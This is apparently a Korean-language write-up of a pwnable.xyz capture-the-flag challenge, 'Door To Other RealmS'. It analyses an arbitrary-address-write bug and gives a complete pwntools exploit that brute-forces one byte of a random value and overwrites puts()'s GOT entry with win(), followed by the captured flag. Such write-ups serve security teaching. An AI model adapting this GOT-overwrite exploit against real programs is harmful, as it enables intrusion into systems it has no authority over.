Door To Other RealmS
Mitigation
Analysis
1. Choose a door.
에서 realm
을 door
의 값과 같게 맞추면 AAW가 가능합니다. door_
의 값을 바꿀 수 있는 유일한 방법입니다.
3. Enter the door.
에서 realm
이 door
의 주소이면 door_
의 초깃값인 0을 넣어서 random value를 제거할 수 있지만,
그렇게 하면 door
의 값이 0이 되어 2. Open the door.
를 사용할 수 없게 됩니다.
Exploit
door
가 아니라 door + 1
에 0을 넣어서 random value를 1바이트만 남길 수 있습니다. 남은 1바이트는 brute force로 맞출 수 있습니다.
AAW로는 한 번에 4바이트만 쓸 수 있기 때문에 GOT를 한 번에 win()
의 주소로 덮어쓸 수 없습니다. 그래서 brute force하기 전에 GOT의 상위 4바이트를 먼저 0으로 덮고, 그 다음에 AAW로 하위 4바이트를 win()
의 주소로 덮어야 합니다.
from pwn import process, remote
REMOTE = True
HOST = 'svc.pwnable.xyz'
PORT = 30039
if not REMOTE:
r = process('./challenge')
else:
r = remote(HOST, PORT)
sla = r.sendlineafter
def choose_door(realm, door):
sla(b'> ', b'1')
sla(b'Door: ', str(door).encode())
sla(b'Realm: ', str(realm).encode())
def open_door(realm):
sla(b'> ', b'2')
sla(b'Realm: ', str(realm).encode())
def enter_door():
sla(b'> ', b'3')
door = 0x601244 # door
puts_got = 0x601018 # GOT of puts()
win = 0x400969 # win()
# overwrite higher 3bytes of door with 0
open_door(door + 1)
enter_door() # *door == 0x000000XX
# overwrite higher 4bytes of GOT of puts() with 0
open_door(puts_got + 4)
enter_door()
# brute force 1byte
for i in range(0x100):
open_door(i)
sla(b'> ', b'1')
if r.recvn(6) == b'Door: ':
break
# overwrite GOT of puts() with win()
r.sendline(str(win).encode())
sla(b'Realm: ', str(puts_got).encode())
# call puts() => win()
sla(b'> ', b'0')
r.interactive()
$ python3 ex.py
[+] Opening connection to svc.pwnable.xyz on port 30039: Done
[*] Switching to interactive mode
FLAG{adjust_the_seed_to_be_guessable}
728x90